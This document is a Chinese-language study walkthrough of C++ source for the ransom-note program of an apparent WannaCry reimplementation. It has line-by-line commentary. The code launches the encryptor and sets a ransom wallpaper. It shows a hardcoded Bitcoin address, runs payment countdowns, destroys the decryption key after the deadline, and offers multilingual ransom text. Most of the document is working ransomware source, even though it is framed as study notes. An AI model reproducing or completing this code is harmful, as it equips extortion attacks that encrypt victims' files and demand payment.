---
# System prepended metadata

title: 10_Decryptor

---

---
title : 10_Decryptor
---


# Decryptor

by WL, Liu
Date : 2021-10-15

---
## 壹、簡介
用於設定視窗之相關樣式，字型或大小，所有元件的配置與格式選擇，包括所有文字、圖片、計時器與進度條，各個畫面都連結與切換，都是透過這個程式碼進行。
## 貳、程式碼
### 主視窗程式
```cpp=
// Decryptor.cpp : Defines the entry point for the application.
//

#include "framework.h"
#include "../config.h"
#include "Decryptor.h"
#include "rsctool.h"
#include "../EZCrypt/EZRC4.h"
#include <Richedit.h>
#include <CommCtrl.h>
#include <string.h>
#include <stdio.h>
#include <ShlObj.h>
#include <time.h>
#include "DecQueue.h"
#include "../Common/ezfile.h"
#include "../Common/ie.h"
#include "../WannaTry/WanaFile.h"
#include "../WannaTry/WanaProc.h"
#include "../WannaTry/WanaEncryptor.h"

#define MAX_LOADSTRING 1000

#define IDC_TIMER1 2001
#define IDC_TIMER30 2030

// Global Variables:
HINSTANCE hInst;                                // current instance
WCHAR szTitle[MAX_LOADSTRING];                  // The title bar text
WCHAR szWindowClass[MAX_LOADSTRING];            // the main window class name

// Forward declarations of functions included in this code module:
ATOM                MyRegisterClass(HINSTANCE hInstance);
BOOL                InitInstance(HINSTANCE, int);
LRESULT CALLBACK    WndProc(HWND, UINT, WPARAM, LPARAM);
INT_PTR CALLBACK    DecryptorDialog(HWND, UINT, WPARAM, LPARAM);
INT_PTR CALLBACK    DecryptDialog(HWND, UINT, WPARAM, LPARAM);
INT_PTR CALLBACK    CheckPaymentDialog(HWND, UINT, WPARAM, LPARAM);
INT_PTR CALLBACK    About(HWND, UINT, WPARAM, LPARAM);

int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
    _In_opt_ HINSTANCE hPrevInstance,
    _In_ LPWSTR    lpCmdLine,
    _In_ int       nCmdShow)
{
    UNREFERENCED_PARAMETER(hPrevInstance);
    UNREFERENCED_PARAMETER(lpCmdLine);

    // TODO: Place code here.
    if (!StartEncryptor()) {
        return FALSE;
    }
    
```
* 第50行，當互斥鎖存在，也就是當其他相同程式存在，則直接離開，反之，則啟動其他執行緒。
```cpp=54
    // Initialize global strings
    LoadStringW(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
    LoadStringW(hInstance, IDC_DECRYPTOR, szWindowClass, MAX_LOADSTRING);
    MyRegisterClass(hInstance);

    // Perform application initialization:
    if (!InitInstance (hInstance, nCmdShow))
    {
        return FALSE;
    }

    HACCEL hAccelTable = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDC_DECRYPTOR));

    MSG msg;

    // Main message loop:
    while (GetMessage(&msg, nullptr, 0, 0))
    {
        if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
        {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
    }

    return (int) msg.wParam;
}
```
* 第67行，MSG包含許多程序、訊息，例如滑鼠的移動、點擊以及如何改變視窗。
* 第70行，以loop形式接收訊息。
* 第74及第75行，按键消息轉為字符消息，並分發消息给對應的視窗。
```cpp=81
//
//  FUNCTION: MyRegisterClass()
//
//  PURPOSE: Registers the window class.
//
ATOM MyRegisterClass(HINSTANCE hInstance)
{
    WNDCLASSEXW wcex;

    wcex.cbSize = sizeof(WNDCLASSEX);

    wcex.style          = CS_HREDRAW | CS_VREDRAW;
    wcex.lpfnWndProc    = WndProc;
    wcex.cbClsExtra     = 0;
    wcex.cbWndExtra     = 0;
    wcex.hInstance      = hInstance;
    wcex.hIcon          = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_DECRYPTOR));
    wcex.hCursor        = LoadCursor(nullptr, IDC_ARROW);
    wcex.hbrBackground  = (HBRUSH)(COLOR_WINDOW+1);
    wcex.lpszMenuName   = MAKEINTRESOURCEW(IDC_DECRYPTOR);
    wcex.lpszClassName  = szWindowClass;
    wcex.hIconSm        = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL));

    return RegisterClassExW(&wcex);
}


//
//   FUNCTION: InitInstance(HINSTANCE, int)
//
//   PURPOSE: Saves instance handle and creates main window
//
//   COMMENTS:
//
//        In this function, we save the instance handle in a global variable and
//        create and display the main program window.
//
BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
   hInst = hInstance; // Store instance handle in our global variable

   HWND hWnd = CreateWindowW(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
      CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, nullptr, nullptr, hInstance, nullptr);

   if (!hWnd)
   {
      return FALSE;
   }

   ShowWindow(hWnd, nCmdShow);
   UpdateWindow(hWnd);

   return TRUE;
}


//
//  FUNCTION: WndProc(HWND, UINT, WPARAM, LPARAM)
//
//  PURPOSE: Processes messages for the main window.
//
//  WM_COMMAND  - process the application menu
//  WM_PAINT    - Paint the main window
//  WM_DESTROY  - post a quit message and return
//
//
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    switch (message)
    {
    case WM_CREATE:
        LoadLibrary(_T("Msftedit.dll"));
        LoadLibrary(_T("Riched32.dll"));
        DialogBox(hInst,
            MAKEINTRESOURCE(IDD_DECRYPTOR_DIALOG),
            hWnd,
            DecryptorDialog);
        break;
    case WM_DESTROY:
        PostQuitMessage(0);
        break;
    default:
        return DefWindowProc(hWnd, message, wParam, lParam);
    }
    return 0;
}

```
### 勒索對話框
```cpp=168
BOOL SetWanaDesktop(UINT rcID)
{
    PUCHAR pBuffer;
    ULONG cbBuffer = 0, cbResult;
    TCHAR szFileName[MAX_PATH + 1];
    if (!(pBuffer = AllocResource(rcID, &cbBuffer))) {
        MessageBox(NULL, _T("AllocResource"), _T("ERROR"), MB_OK);
        return FALSE;
    }
    WanaFileName(szFileName,
        _T("@WanaDecryptor@.bmp"));
    WriteBuffer(
        szFileName,
        { 0 },
        0,
        pBuffer,
        cbBuffer,
        &cbResult);
    HeapFree(GetProcessHeap(), 0, pBuffer);
    SystemParametersInfo(
        SPI_SETDESKWALLPAPER,
        0,
        szFileName,
        SPIF_UPDATEINIFILE);
    return TRUE;
}

```
* 第177行，取得點陣圖之路徑。
* 第179到第185行，存檔點陣圖。
* 第187到第191行，設定桌面圖片。
```cpp=195
BOOL UpdateRichEdit(HWND hWndRichEdit, UINT rcID)
{
    PUCHAR pMessage;
    ULONG cbMessage = 0;
    if (!(pMessage = AllocResource(rcID, &cbMessage))) {
        MessageBox(hWndRichEdit, _T("AllocResource"), _T("ERROR"), MB_OK);
        return FALSE;
    }
    if (memcmp(pMessage, "{\\rtf", 5)) {
        PEZRC4 pRC4 = new EZRC4();
        pRC4->GenKey(
            (PUCHAR)RESOURCE_PASSWORD,
            (ULONG)strlen(RESOURCE_PASSWORD));
        pRC4->Decrypt(
            (PUCHAR)pMessage, cbMessage,
            (PUCHAR)pMessage, cbMessage, &cbMessage);
        delete pRC4;
    }
    SETTEXTEX se;
    se.codepage = CP_ACP;
    se.flags = ST_DEFAULT;
    SendMessage(hWndRichEdit,
        EM_SETTEXTEX, (WPARAM)&se, (LPARAM)pMessage);
    HeapFree(GetProcessHeap(), 0, pMessage);
    return TRUE;
}

```
* 第199到第202行，配置記憶體，並將資源ID載入。
* 第204行，用RC4解密。
* 第214行，使用微軟的內碼錶。
```cpp=222
void DrawProgressBar(
    HDC hdc,
    LONG x,
    LONG y,
    LONG w,
    LONG h,
    LONG p) // percentage
{
    LONG r1 = 0, g1 = 255, b1 = 0;
    LONG r2 = 255, g2 = 0, b2 = 0;
    LONG t = h * p / 100;
    HBRUSH hBrush = (HBRUSH)GetStockObject(BLACK_BRUSH);
    SelectObject(hdc, hBrush);
    Rectangle(hdc, x, y, x + w, y + t);
    for (LONG i = t; i < h; i++) {
        LONG r = i * (r2 - r1) / h + r1;
        LONG g = i * (g2 - g1) / h + g1;
        LONG b = i * (b2 - b1) / h + b1;
        HPEN hPen = CreatePen(PS_SOLID, 1, RGB(r, g, b));
        SelectObject(hdc, hPen);
        MoveToEx(hdc, x, y + i, NULL);
        LineTo(hdc, x + w, y + i);
        DeleteObject(hPen);
    }
    return;
}


```
* 第230行，綠色。
* 第231行，紅色。
* 第232行，計算黑色完成部分的大小的百分比。
* 第233行，預設的黑色筆刷。
* 第237到第239行，分別計算現在的RGB。
* 第240行，以上述RGB創造畫筆。
* 第243行，畫出線條。
* 第244行，刪除畫筆。
```cpp=250
BOOL SetDateTime(
    HWND hWndDateTime,
    time_t* t)
{
    TCHAR szMessage[1024];
    tm st;
    localtime_s(&st, t);
    _stprintf_s(szMessage,
        sizeof(szMessage) / sizeof(TCHAR),
        _T("%d/%d/%d %02d:%02d:%02d"),
        st.tm_mon + 1,
        st.tm_mday,
        st.tm_year + 1900,
        st.tm_hour,
        st.tm_min,
        st.tm_sec);
    SetWindowText(hWndDateTime, szMessage);
    return TRUE;
}

```
* 第256行，將time_t轉成tm結構。
* 第266行，設定文字型別。
```cpp=270
BOOL SetTimeLeft(
    HWND hWndTime,
    time_t nSec)
{
    TCHAR pchTimeLeft[16];
    time_t sec = nSec % 60;
    time_t min = nSec / 60;
    time_t hour = min / 60;
    min %= 60;
    time_t days = hour / 24;
    hour %= 24;
    _stprintf_s(pchTimeLeft,
        sizeof(pchTimeLeft) / sizeof(TCHAR),
        _T("%02d:%02d:%02d:%02d"),
        (INT)days, (INT)hour, (INT)min, (INT)sec);
    SetWindowText(hWndTime, pchTimeLeft);
    return TRUE;
}
```
* 第270到第287行，剩於時間，並將其轉換成天、時、分與秒。
* 第275行，計算秒數。
* 第276及第278行，計算分鐘數。
* 第277及第280行，計算時數。
* 第279行，計算天數。
```cpp=288
// Message handler for Decryptor Dialog.
INT_PTR CALLBACK DecryptorDialog(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
    UNREFERENCED_PARAMETER(lParam);
    static TCHAR BitcoinNumber[] =
        _T("115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn");
    static HBRUSH hBkBrush = NULL;
    static HFONT hFont12B = NULL;
    static HFONT hFont12BU = NULL;
    static HFONT hFont14BU = NULL;
    static HFONT hFont16B = NULL;
    static HFONT hFont18BU = NULL;
    static HFONT hFont20B = NULL;
    static HFONT hFont26B = NULL;
    static HFONT hFont30B = NULL;
    static HFONT hFont24T = NULL;
    static HWND hWndEdit = NULL;
    static HWND hWndCombo = NULL;
    static HWND hWndRichEdit = NULL;
    static HWND hWndDate1 = NULL;
    static HWND hWndDate2 = NULL;
    static HWND hWndCountDown1 = NULL;
    static HWND hWndCountDown2 = NULL;
    static HWND hWndProgress1 = NULL;
    static HWND hWndProgress2 = NULL;
    static RESDATA ResData;
    static time_t TimeLeft1, TimeLeft2;
    static struct ComboBoxItem {
        ULONG rcID;
        CONST LPCTSTR str;
    } ComboItems[]{
        { IDR_MSG_BULGARIAN, _T("Bulgarian") },
        { IDR_MSG_CHINESE_SIMPLIFIED,
            _T("Chinese, (Simplified)")  },
        { IDR_MSG_CHINESE_TRADITIONAL,
            _T("Chinese, (Traditional)")  },
        { IDR_MSG_CROATIAN, _T("Croatian") },
        { IDR_MSG_CZECH, _T("Czech") },
        { IDR_MSG_DANISH, _T("Danish") },
        { IDR_MSG_DUTCH, _T("Dutch") },
        { IDR_MSG_ENGLISH, _T("English") },
        { IDR_MSG_FILIPINO, _T("Filipino") },
        { IDR_MSG_FINNISH, _T("Finnish") },
        { IDR_MSG_FRENCH, _T("French") },
        { IDR_MSG_GERMAN, _T("German") },
        { IDR_MSG_GREEK, _T("Greek") },
        { IDR_MSG_INDONESIAN, _T("Indonesian") },
        { IDR_MSG_ITALIAN, _T("Italian") },
        { IDR_MSG_JAPANESE, _T("Japanese") },
        { IDR_MSG_KOREAN, _T("Korean") },
        { IDR_MSG_LATVIAN, _T("Latvian") },
        { IDR_MSG_NORWEGIAN, _T("Norwegian") },
        { IDR_MSG_POLISH, _T("Polish") },
        { IDR_MSG_PORTUGUESE, _T("Portuguese") },
        { IDR_MSG_ROMANIAN, _T("Romanian") },
        { IDR_MSG_RUSSIAN, _T("Russian") },
        { IDR_MSG_SLOVAK, _T("Slovak") },
        { IDR_MSG_SPANISH, _T("Spanish") },
        { IDR_MSG_SWEDISH, _T("Swedish") },
        { IDR_MSG_TURKISH, _T("Turkish") },
        { IDR_MSG_VIETNAMESE, _T("Vietnamese") },
        {0, nullptr}
    };
    static UINT nDefaultComboItem = 2;
```
* 第294到第351行，使用static，將其儲存在靜態資料區，這會使變數會在程式一開始執行完成初始化，這可以保持變數內容的持久，這些變數在後面的程式碼，只要呼叫對話框時就會使用到。
* 第314行，為兩個計時器，分別為剩餘優惠時間與剩餘解密時間。
* 第319到第349行，為語言選項。
* 第351行，設定為2，即預設為繁體中文。
```cpp=352
    switch (message)
    {
    case WM_INITDIALOG:
    {
        hBkBrush = CreateSolidBrush(RGB(128, 0, 0));
        // create fonts
        hFont12B = DefaultFont(12, FALSE);
        hFont12BU = DefaultFont(12, TRUE);
        hFont14BU = DefaultFont(14, TRUE);
        hFont16B = DefaultFont(16, FALSE);
        hFont18BU = DefaultFont(18, TRUE);
        hFont20B = DefaultFont(20, FALSE);
        hFont26B = DefaultFont(26, FALSE);
        hFont30B = DefaultFont(30, FALSE);
        hFont24T = CreateFont(24, 0, 0, 0,
            FW_DONTCARE, FALSE, FALSE, FALSE,
            DEFAULT_CHARSET, OUT_RASTER_PRECIS,
            CLIP_DEFAULT_PRECIS, CLEARTYPE_QUALITY,
            VARIABLE_PITCH, _T("Terminal"));
        // set font of components
        SetDlgItemFont(IDC_CHECKPAYMENT_BUTTON, hFont26B);
        SetDlgItemFont(IDC_DECRYPT_BUTTON, hFont26B);
        SetDlgItemFont(IDC_OOOPS_STATIC, hFont26B);
        SetDlgItemFont(IDC_FILELOST_STATIC, hFont16B);
        SetDlgItemFont(IDC_DEADLINE_STATIC, hFont16B);
        SetDlgItemFont(IDC_DEADTIMELEFT_STATIC, hFont16B);
        SetDlgItemFont(IDC_DEADCOUNTDOWN_STATIC, hFont24T);
        SetDlgItemFont(IDC_PAYMENTRAISE_STATIC, hFont16B);
        SetDlgItemFont(IDC_DATETIME_STATIC, hFont16B);
        SetDlgItemFont(IDC_RAISETIMELEFT_STATIC, hFont16B);
        SetDlgItemFont(IDC_RAISECOUNTDOWN_STATIC, hFont24T);
        SetDlgItemFont(IDC_COMTACTUS_STATIC, hFont18BU);
        SetDlgItemFont(IDC_HOWTOBUY_STATIC, hFont12BU);
        SetDlgItemFont(IDC_ABOUTBITCOIN_STATIC, hFont14BU);
        SetDlgItemFont(IDC_SENDBITCOIN_STATIC, hFont20B);
        SetDlgItemFont(IDC_COPY_BUTTON, hFont12B);
        SetDlgItemFont(IDC_EDIT1, hFont20B);
        SetDlgItemFont(IDC_COMBO1, hFont12B);
        // get HWNDs
        hWndEdit = GetDlgItem(hDlg, IDC_EDIT1);
        hWndCombo = GetDlgItem(hDlg, IDC_COMBO1);
        hWndRichEdit = GetDlgItem(hDlg, IDC_RICHEDIT21);
        hWndDate1 = GetDlgItem(hDlg, IDC_DEADLINE_STATIC);
        hWndDate2 = GetDlgItem(hDlg, IDC_DATETIME_STATIC);
        hWndCountDown1 = GetDlgItem(hDlg, IDC_DEADCOUNTDOWN_STATIC);
        hWndCountDown2 = GetDlgItem(hDlg, IDC_RAISECOUNTDOWN_STATIC);
        hWndProgress1 = GetDlgItem(hDlg, IDC_PROGRESS1_STATIC);
        hWndProgress2 = GetDlgItem(hDlg, IDC_PROGRESS2_STATIC);
        // bitcoin
        SendMessage(hWndEdit,
            WM_SETTEXT, (WPARAM)TRUE,
            (LPARAM)BitcoinNumber);
        // get start time
        ReadResFile(&ResData);
        if (!ResData.m_StartTime) {
            ResData.m_StartTime = (DWORD)time(NULL);
            ResData.m_EndTime = (DWORD)time(NULL);
        }
        time_t CurTime = GetDecryptFlag() ?
            ResData.m_EndTime : time(NULL);
        WriteResFile(&ResData);
        // count down
        time_t st1, st2;
        st1 = ResData.m_StartTime + FINAL_COUNTDOWN;
        st2 = ResData.m_StartTime + PRICE_COUNTDOWN;
        SetDateTime(hWndDate1, &st1);
        SetDateTime(hWndDate2, &st2);
        TimeLeft1 = st1 > CurTime ? st1 - CurTime : 0;
        TimeLeft2 = st2 > CurTime ? st2 - CurTime : 0;
        SetTimeLeft(hWndCountDown1, TimeLeft1);
        SetTimeLeft(hWndCountDown2, TimeLeft2);
        // initialize timers
        SetTimer(hDlg,
            IDC_TIMER1,
            1000,
            (TIMERPROC)NULL);
        SetTimer(hDlg,
            IDC_TIMER30,
            30000,
            (TIMERPROC)NULL);
        // add items into combobox
        for (INT i = 0; ComboItems[i].rcID; i++) {
            SendMessage(hWndCombo, (UINT)CB_ADDSTRING,
                (WPARAM)0, (LPARAM)ComboItems[i].str);
        }
        SendMessage(hWndCombo, CB_SETCURSEL,
            (WPARAM)nDefaultComboItem, (LPARAM)0);
        // update richedit
        UpdateRichEdit(hWndRichEdit, ComboItems[nDefaultComboItem].rcID);
        // set desktop
        SetWanaDesktop(IDB_BITMAP3);
        return (INT_PTR)TRUE;
    }
```
* 第358到第366行，各種對話框會用到的字型樣式，例如:第358行，12字型加底線。
* 第391到第399行，取得各元件之HWND。
* 第401到第404行，若收到訊息時，就編輯文件內容。
* 第405行，將開始閱讀檔案設為開始時間，從000000000.res取得。
* 第415行，計算最後期限。
* 第416行，計算最後優惠期限。
* 第417及第418行，分別輸出第415及第416行計算之時間。
* 第419行，計算最後期限剩餘秒數。
* 第420行，計算最後優惠期限剩餘秒數。
* 第424到第427行，建立以秒為單位的計時器。
* 第428到第431行，建立以30秒為單位的計時器。
```cpp=445
    case WM_COMMAND:
    {
        int wmId = LOWORD(wParam);
        switch (wmId)
        {
        case IDC_DECRYPT_BUTTON:
            DialogBox(hInst,
                MAKEINTRESOURCE(IDD_DECRYPT_DIALOG),
                hDlg,
                DecryptDialog);
            break;
        case IDC_CHECKPAYMENT_BUTTON:
            DialogBox(hInst,
                MAKEINTRESOURCE(IDC_CHECKPAYMENT_DIALOG),
                hDlg,
                CheckPaymentDialog);
            break;
        case IDC_ABOUTBITCOIN_STATIC:
            LaunchIE((LPTSTR)_T("https://en.wikipedia.org/wiki/Bitcoin"));
            break;
        case IDC_HOWTOBUY_STATIC:
            LaunchIE((LPTSTR)_T("https://www.google.com/search?q=how+to+buy+bitcoin"));
            break;
        case IDC_COMTACTUS_STATIC:
            MessageBox(hDlg, _T("Contact Us"), _T("TODO"), MB_OK);
            break;
        case IDC_COMBO1:
            if (HIWORD(wParam) == CBN_SELCHANGE) {
                INT ItemIndex = (INT)SendMessage((HWND)lParam,
                    (UINT)CB_GETCURSEL, (WPARAM)0, (LPARAM)0);
                BOOL result = UpdateRichEdit(
                    hWndRichEdit,
                    ComboItems[ItemIndex].rcID);
            }
            break;
```
* 第450到第455行，產生解密對話框。
* 第456到第461行，產生Check Payment對話框。
* 第462及第465行，開啟IE顯示網頁，前者為關於比特幣，後者為如何購買比特幣之相關網頁。
* 第471行，收到組合框選項之訊息時執行。
* 第473到第477行，取得選擇項目並更新之。
```cpp=480
        case IDC_COPY_BUTTON:
        {
            HGLOBAL hMem = GlobalAlloc(
                GMEM_MOVEABLE,
                sizeof(BitcoinNumber));
            if (hMem) {
                OpenClipboard(hDlg);
                EmptyClipboard();
                LPTSTR pMem = (LPTSTR)GlobalLock(hMem);
                CopyMemory(pMem,
                    BitcoinNumber,
                    sizeof(BitcoinNumber));
                GlobalUnlock(hMem);
                SetClipboardData(
                    CF_UNICODETEXT,
                    hMem);
                CloseClipboard();
            }
            break;
        }
        }
        break;
    }
    case WM_TIMER:
    {
        if (GetDecryptFlag() || TimeLeft1 <= 0) {
            KillTimer(hDlg, IDC_TIMER1);
            KillTimer(hDlg, IDC_TIMER30);
            break;
        }
        switch (wParam)
        {
        case IDC_TIMER1:
        {
            if (TimeLeft1 > 0) {
                TimeLeft1--;
                SetTimeLeft(hWndCountDown1, TimeLeft1);
            }
            else if (!GetDecryptFlag()) {
                WanaDestroyKey();
            }
            if (TimeLeft2 > 0) {
                TimeLeft2--;
                SetTimeLeft(hWndCountDown2, TimeLeft2);
            }
            break;
        }
        case IDC_TIMER30:
        {
            //用InvalidateRect來觸發重繪
            //最後期限進度條
            InvalidateRect(hWndProgress1, NULL, TRUE);
            //優惠期限進度條
            InvalidateRect(hWndProgress2, NULL, TRUE);
            break;
        }
        }
        break;
    }
```
* 第503到第538行，計時器的設定。
* 第505到第509行，如果已經可解密或是超過最後期限，關閉並停止計時器。
* 第512及第527行，分別為以秒及以30秒為單位之計時器。
* 第519行，超過期限，銷毀解密金鑰。
* * 第531及第533行，分別為繪製最後期限與優惠期限的進度條。
```cpp=539
    case WM_CTLCOLORDLG:
        return (INT_PTR)hBkBrush;
    case WM_CTLCOLORSTATIC:
    {
        HWND hWndStatic = (HWND)lParam;
        HDC hdcStatic = (HDC)wParam;
        UINT rcID = GetWindowLong(hWndStatic, GWL_ID);
        INT_PTR hBrush = (INT_PTR)GetStockObject(WHITE_BRUSH);
        // set background
        if (rcID != IDC_EDIT1) {
            SetBkColor(hdcStatic, RGB(128, 0, 0));
            hBrush = (INT_PTR)hBkBrush;
        }
        // set text color
        switch (rcID) {
        // case IDC_CHECKPAYMENT_BUTTON:
        // case IDC_COMBO1:
        // case IDC_COPY_BUTTON:
        // case IDC_DECRYPT_BUTTON:
        case IDC_EDIT1:
            SetTextColor(hdcStatic, RGB(0, 0, 0));
            break;
        case IDC_ABOUTBITCOIN_STATIC:
        case IDC_COMTACTUS_STATIC:
        case IDC_HOWTOBUY_STATIC:
            SetTextColor(hdcStatic, RGB(120, 120, 255));
            break;
        case IDC_FILELOST_STATIC:
        case IDC_PAYMENTRAISE_STATIC:
        case IDC_SENDBITCOIN_STATIC:
            SetTextColor(hdcStatic, RGB(255, 255, 0));
            break;
        case IDC_PROGRESS1_STATIC:
        {
            RECT rect;
            GetClientRect(hWndStatic, &rect);
            DrawProgressBar(hdcStatic,
                rect.left,
                rect.top,
                rect.right,
                rect.bottom,
                (INT)(time(NULL) - ResData.m_StartTime)
                * 100 / FINAL_COUNTDOWN);
            break;
        }
        case IDC_PROGRESS2_STATIC:
        {
            RECT rect;
            GetClientRect(hWndStatic, &rect);
            DrawProgressBar(hdcStatic,
                rect.left,
                rect.top,
                rect.right,
                rect.bottom,
                (INT)(time(NULL) - ResData.m_StartTime)
                * 100 / PRICE_COUNTDOWN);
            break;
        }
        default:
            SetTextColor(
                hdcStatic,
                RGB(255, 255, 255));
            break;
        }
        return hBrush;
    }
```
* 第548到第550行，除了元件外，背景都設為紅色。
* 第558行，黑色文字。
* 第563行，紫色文字。
* 第568行，黃色文字。
* 第575到第582行，繪出漸層條。
* 第580及第581行，計算完成百分比。
* 第598行，白色文字。
```cpp=605
    case WM_CTLCOLORBTN:
    {
        HWND hWndButton = (HWND)lParam;
        HDC hdcButton = (HDC)wParam;
        SetBkColor(hdcButton, RGB(128, 0, 0));
        return (INT_PTR)hBkBrush;
    }
    case WM_CLOSE:
        DeleteObject(hBkBrush);
        DeleteObject(hFont12B);
        DeleteObject(hFont12BU);
        DeleteObject(hFont14BU);
        DeleteObject(hFont16B);
        DeleteObject(hFont18BU);
        DeleteObject(hFont20B);
        DeleteObject(hFont26B);
        DeleteObject(hFont30B);
        DeleteObject(hFont24T);
        PostQuitMessage(0);
        return (INT_PTR)TRUE;
    default:
        break;
    }
    return (INT_PTR)FALSE;
}

```
* 第612到第629行，收到WM_CLOSE後，刪除之前產生的筆刷與字型。
### 解密對話框
```cpp=631
// Message handler for Decrypt Dialog.
INT_PTR CALLBACK DecryptDialog(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
    UNREFERENCED_PARAMETER(lParam);
    static HBRUSH hBkBrush = NULL;
    static HFONT hFont = NULL;
    static HANDLE hThread = NULL;
    static BOOL bStartFlag = FALSE;
    static PDECQUEUE pDecQueue = NULL;
    static DWORD nDirs = 0, nFiles = 0;
    static DWORD64 nFileSize = 0;
    static HWND hWndCombo, hWndList, hWndStart;
    static LPTSTR StartFolder = NULL;
    static struct DirSelect {
        LPCTSTR DisplayName;
        REFKNOWNFOLDERID ID;
    } KnownFolders[] = {
    {_T("My Computer"), FOLDERID_ComputerFolder },
    {_T("Desktop"), FOLDERID_Desktop},
    {_T("Downloads"), FOLDERID_Downloads},
    {_T("Documents"), FOLDERID_Documents},
    {_T("Pictures"), FOLDERID_Pictures},
    {_T("Music"), FOLDERID_Music},
    {_T("Videos"), FOLDERID_Videos},
    {NULL, FOLDERID_Windows} // end of list
    };
```
* 第630到第656行，製作解密目錄，static使用原因如前述。
* 第644到第656行，定義7個目錄的選項，可讓其選擇優先解密的項目。
```cpp=657
    switch (message)
    {
    case WM_INITDIALOG:
        hBkBrush = CreateSolidBrush(RGB(128, 0, 0));
        hFont = DefaultFont(16, FALSE);
        SetDlgItemFont(IDC_SELECTHOST_STATIC, hFont);
        SetDlgItemFont(IDC_FILELIST_LIST, hFont);
        SetDlgItemFont(IDD_DECRYPT_COMBOBOX, hFont);
        SetDlgItemFont(IDC_START_BUTTON, hFont);
        SetDlgItemFont(IDC_CLIPBOARD_BUTTON, hFont);
        SetDlgItemFont(IDC_CLOSE_BUTTON, hFont);
        hWndList = GetDlgItem(hDlg, IDC_FILELIST_LIST);
        hWndCombo = GetDlgItem(hDlg, IDD_DECRYPT_COMBOBOX);
        hWndStart = GetDlgItem(hDlg, IDC_START_BUTTON);
        nDirs = 0;     //變數初始化
        nFiles = 0;     //變數初始化
        nFileSize = 0;     //變數初始化
        for (INT i = 0; KnownFolders[i].DisplayName; i++) {
            SendMessage(hWndCombo,
                CB_ADDSTRING,
                (WPARAM)0,
                (LPARAM)KnownFolders[i].DisplayName);
        }
        SendMessage(hWndCombo, CB_SETCURSEL,
            (WPARAM)0, (LPARAM)0);
        return (INT_PTR)TRUE;
```
* 第659到第682行，設定解密視窗樣式。
* 第660行，產生紅色筆刷並作為背景使用。
* 第661行，用DefaultFont產生字型，並設定大小為16。
* 第662到第667行，將所有控制元件字型都設為第661行所設。
```cpp=683
    case WM_COMMAND:
    {
        int wmId = LOWORD(wParam);
        // Parse the menu selections:
        switch (wmId)
        {
        case IDD_DECRYPT_COMBOBOX:
            if (HIWORD(wParam) == CBN_SELCHANGE) {
                INT ItemIndex = (INT)SendMessage((HWND)lParam,
                    (UINT)CB_GETCURSEL, (WPARAM)0, (LPARAM)0);
                if (ItemIndex == 0) {
                    StartFolder = NULL;
                }
                else {
                    SHGetKnownFolderPath(
                        KnownFolders[ItemIndex].ID,
                        0,
                        NULL,
                        &StartFolder);
                }
            }
            break;
```
* 第689到第704行，為當收到組合框訊息時運行。
* 第691及第692行，以SendMessage將CB_GETCURSEL得到之訊息傳送給ComboBox，以獲取選擇的選項。
* 第693行，如果選擇為0，則表示是為全電腦解密。
* 第696到第702行，如果選擇到其他結果，利用SHGetKnownFolderPath來取得路徑
```cpp=705
        case IDC_START_BUTTON:
            if (!bStartFlag) {
                pDecQueue = new DECQUEUE(hDlg);
                pDecQueue->m_Start = StartFolder;
                hThread = CreateThread(
                    NULL,
                    0,
                    DecQueueThread,
                    pDecQueue,
                    0,
                    NULL);
                if (hThread) {
                    CloseHandle(hThread);
                    hThread = NULL;
                }
                SetWindowText(hWndStart, _T("Cancel"));
                bStartFlag = TRUE;
            }
            else {
                pDecQueue->Stop();
                SetWindowText(hWndStart, _T("Start"));
                bStartFlag = FALSE;
            }
            break;
```
* 第705到第728行，設定開始按鈕。
* 第721及第726行，當按下開始後，「Start」變成「Cancel」;相反的，從再次按下後，再由「Cancel」轉變回「Start」。
* 第707到第721行，開始解密。
* 第724到第726行，中斷解密，pDecQueue->Stop傳送「停止」給執行緒。
```cpp=729
        case IDC_CLIPBOARD_BUTTON:
        {
            DWORD nCch = (DWORD)(nFileSize + nFiles * 2 + 10);
            HGLOBAL hMem = GlobalAlloc(
                GMEM_MOVEABLE,
                sizeof(TCHAR) * nCch);
            if (hMem) {
                OpenClipboard(hDlg);     //開啟剪貼簿
                EmptyClipboard();     //清空剪貼簿
                LPTSTR aFileNames = (LPTSTR)GlobalLock(hMem);
                aFileNames[0] = _T('\0');
                for (DWORD i = 0; i < nFiles; i++) {
                    TCHAR aFileName[MAX_PATH + 1];
                    SendMessage(
                        hWndList,
                        LB_GETTEXT, i,
                        (LPARAM)aFileName);
                    _tcscat_s(aFileNames, nCch, aFileName);
                    _tcscat_s(aFileNames, nCch, _T("\r\n"));
                }
                GlobalUnlock(hMem);
                SetClipboardData(CF_UNICODETEXT, hMem);
                CloseClipboard();
                hMem = NULL;
            }
            break;
        }
```
* 第731行，每個檔名之間有"\r\n"，故加上nFile * 2，並補上額外的10，作為保險用通常不會用到。
* 第732到第734行，以GlobalAlloc配置記憶體。
* 第742到第745行，將訊息、索引及檔名存放地址，傳送給ListBox，ListBox便會將檔名到位址上去。
```cpp=756
        case IDC_CLOSE_BUTTON:
            EndDialog(hDlg, LOWORD(wParam));
            return (INT_PTR)TRUE;
        }
        break;
    }
    case WM_USER:
    {
        switch (wParam) {
        case IDC_DECQUEUE_DATA:
        {
            TCHAR szName[MAX_PATH + 1];
            DWORD dwAttributes;
            pDecQueue->RecvData(szName, &dwAttributes);
            if (dwAttributes & FILE_ATTRIBUTE_DIRECTORY) {
                nDirs++;
            }
            else {
                nFiles++;
                SendMessage(hWndList,
                    LB_ADDSTRING,
                    (WPARAM)0,
                    (LPARAM)szName);
                SendMessage(hWndList,
                    LB_SETCURSEL,
                    (WPARAM)(nFiles - 1),
                    (LPARAM)0);
                nFileSize += (ULONG)_tcslen(szName) + 1;
            }
            break;
        }
```
* 第764及第765行，當收到執行緒回傳時執行。
* 第769行，取得檔名及檔案屬性。
